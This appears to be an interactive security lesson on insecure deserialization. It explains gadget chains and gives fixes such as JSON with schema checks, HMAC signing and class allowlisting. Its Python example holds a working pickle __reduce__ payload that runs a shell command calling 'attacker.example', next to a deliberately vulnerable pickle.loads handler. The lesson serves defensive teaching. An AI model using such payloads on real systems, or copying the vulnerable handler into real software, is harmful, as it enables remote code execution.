What is insecure deserialization, and how can deserializing untrusted data lead to remote code execution?
Turning bytes back into an object can silently call constructors and special hooks — enough, in the wrong hands, to hand an attacker a shell.
LEARN BY DOINGPut your intuition to work3 steps
What is insecure deserialization, and how can deserializing untrusted data lead to remote code execution?
Use the lesson’s examples and explanation to check your idea.
Personal reflection. Nothing is sent to an AI service.#The core problem
Serialization turns an in-memory object into a byte stream (or text) so it can be stored or sent over a wire; deserialization reverses that process. The danger appears the moment the byte stream comes from an untrusted source and the deserializer is expressive enough to reconstruct arbitrary objects, not just plain data. Native "object" serialization formats — Java's built-in serialization, Python's pickle, PHP's unserialize, Ruby's Marshal — do far more than parse fields into a struct: rebuilding an object can automatically invoke constructors, setters, or special hooks like readObject, __reduce__, or __wakeup__ as a side effect of turning bytes back into a live object graph. If an attacker controls those bytes, they control which classes get instantiated and which hooks fire, before your application code ever looks at the result.
This is fundamentally different from parsing JSON or XML into plain dictionaries and lists. Those formats only ever produce inert data — strings, numbers, booleans, arrays, maps — never a live object with behavior, so parsing untrusted JSON cannot, by itself, call a constructor or run a method. Insecure deserialization exists as a vulnerability class precisely because the reconstructed objects are not inert: they are drawn from the real classes already sitting on your classpath or in your dependencies, and some of those classes do dangerous things (file I/O, reflection, spawning processes) as a documented, intended side effect of being deserialized.
#How a gadget chain becomes remote code execution
An attacker doesn't need a bug in the deserializer itself. They need two things: a deserializer willing to instantiate arbitrary classes named in the byte stream, and at least one class already present in the runtime whose deserialization hook does something exploitable — often several classes chained together, each one's hook triggering the next, until the last step executes a shell command or writes a file. This is called a "gadget chain." In the Java ecosystem, ubiquitous utility libraries such as Apache Commons Collections became infamous gadget sources: nothing about Commons Collections is a vulnerability in isolation, but a class like InvokerTransformer, combined with readObject on certain map implementations, lets a crafted byte stream drive arbitrary method invocation — including Runtime.exec. Tools built specifically to automate discovering and generating these chains made native Java deserialization one of the most consistently exploited vulnerability classes in enterprise software for the better part of a decade.
#A concrete example: Python's pickle
Python is unusually candid about this risk — the standard library documentation for pickle explicitly warns never to unpickle data received from an untrusted or unauthenticated source, because pickle.loads can call an object's __reduce__ method during load, and __reduce__ is allowed to return an arbitrary callable together with the arguments to call it with.
import pickleimport osclass Payload:def __reduce__(self):# This method runs during UNPICKLING, not pickling.# It returns (callable, args_tuple); pickle calls callable(*args_tuple).return (os.system, ("id > /tmp/pwned; curl http://attacker.example/x",))# An attacker crafts this once, offline, and sends the resulting bytes —# e.g. as a session cookie, a cache value, or a message queue payload.evil_bytes = pickle.dumps(Payload())# --- inside the vulnerable service ---def handle_incoming_session(serialized_session: bytes):# DANGEROUS: untrusted bytes fed straight into pickle.loads.session = pickle.loads(serialized_session)return session
When handle_incoming_session calls pickle.loads on attacker-controlled bytes, Python reconstructs Payload by calling exactly the tuple that __reduce__ returns — meaning it runs os.system(...) with the attacker's command before the caller has done anything with the "session" it thinks it received. There is no parsing bug and no buffer overflow here: the deserializer did precisely what it was designed to do.
#The fix: stop deserializing untrusted bytes into live objects
The most reliable fix is architectural, not a patch: never run a native object deserializer over data an attacker can influence. Replace it with a data-only format — JSON, Protocol Buffers, MessagePack — and validate the result against an explicit schema before trusting any field.
import jsonfrom typing import TypedDictclass Session(TypedDict):user_id: intissued_at: floatcsrf_token: strdef handle_incoming_session(serialized_session: str) -> Session:# json.loads can only ever produce dict / list / str / int / float / bool / None.# It has no hook that can invoke a constructor or call a method as a side effect.raw = json.loads(serialized_session)if not isinstance(raw, dict):raise ValueError("invalid session payload")if not isinstance(raw.get("user_id"), int):raise ValueError("invalid user_id")if not isinstance(raw.get("csrf_token"), str) or len(raw["csrf_token"]) != 43:raise ValueError("invalid csrf_token")return Session(user_id=raw["user_id"],issued_at=float(raw.get("issued_at", 0)),csrf_token=raw["csrf_token"],)
Where a legacy system truly cannot move off a native serializer, defense-in-depth options exist but are strictly second-best: sign the payload with an HMAC and verify the signature before deserializing anything, so a tampered or attacker-authored payload never reaches the deserializer at all; restrict which classes may be instantiated with an allowlisting mechanism (Java's ObjectInputFilter, available since JEP 290, or a custom Unpickler subclass in Python that overrides find_class to reject anything outside a small, known-safe module list); and run the deserializing process with least privilege — no outbound network access, a non-root user, a restrictive seccomp profile — because gadget chains keep evolving and a purely denylist-based filter tends to be a step behind the newest one.
🧠 Check your understanding
0/3 · 0/3 answered1. Why is deserializing untrusted data with a format like Java's native serialization or Python's pickle more dangerous than parsing untrusted JSON?
2. What is a "gadget chain" in the context of insecure deserialization?
3. What is the most reliable fix for insecure deserialization of untrusted input?